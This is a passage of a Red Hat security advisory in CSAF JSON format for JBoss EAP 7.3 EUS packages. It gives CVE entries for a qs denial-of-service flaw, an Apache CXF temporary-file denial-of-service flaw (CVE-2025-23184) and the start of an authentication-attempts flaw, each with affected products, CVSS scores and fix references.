"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "qs: qs: Denial of Service via improper input validation in array parsing"
},
{
"cve": "CVE-2025-23184",
"cwe": {
"id": "CWE-400",
"name": "Uncontrolled Resource Consumption"
},
"discovery_date": "2025-01-21T10:00:44.959656+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2339095"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Apache CXF. In some edge cases with large data stream caching, the CachedOutputStream instances may not be closed and, if backed by temporary files, may fill up the file system and trigger a denial of service.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "org.apache.cxf: Apache CXF: Denial of Service vulnerability with temporary files",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch"
],
"known_not_affected": [
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-23184"
},
{
"category": "external",
"summary": "RHBZ#2339095",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2339095"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-23184",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-23184"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-23184",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23184"
},
{
"category": "external",
"summary": "https://lists.apache.org/thread/lfs8l63rnctnj2skfrxyys7v8fgnt122",
"url": "https://lists.apache.org/thread/lfs8l63rnctnj2skfrxyys7v8fgnt122"
}
],
"release_date": "2025-01-21T09:35:37.468000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-30T00:13:50+00:00",
"details": "Before applying this update, ensure all previously released errata relevant to your system have been applied. Also, back up your existing installation, including all applications, configuration files, databases and database settings. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:33371"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 3.7,
"baseSeverity": "LOW",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"products": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
]
}
],
"threats": [
{
"category": "impact",
"details": "Low"
}
],
"title": "org.apache.cxf: Apache CXF: Denial of Service vulnerability with temporary files"
},
{
"acknowledgments": [
{
"names": [
"Claudia Bartolini",
"Marco Ventura",
"Massimiliano Brolli"
],
"organization": "TIM S.p.A"
}
],
"cve": "CVE-2025-23368",
"cwe": {
"id": "CWE-307",
"name": "Improper Restriction of Excessive Authentication Attempts"
},
"discovery_date": "2025-01-14T14:56:46.792000+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
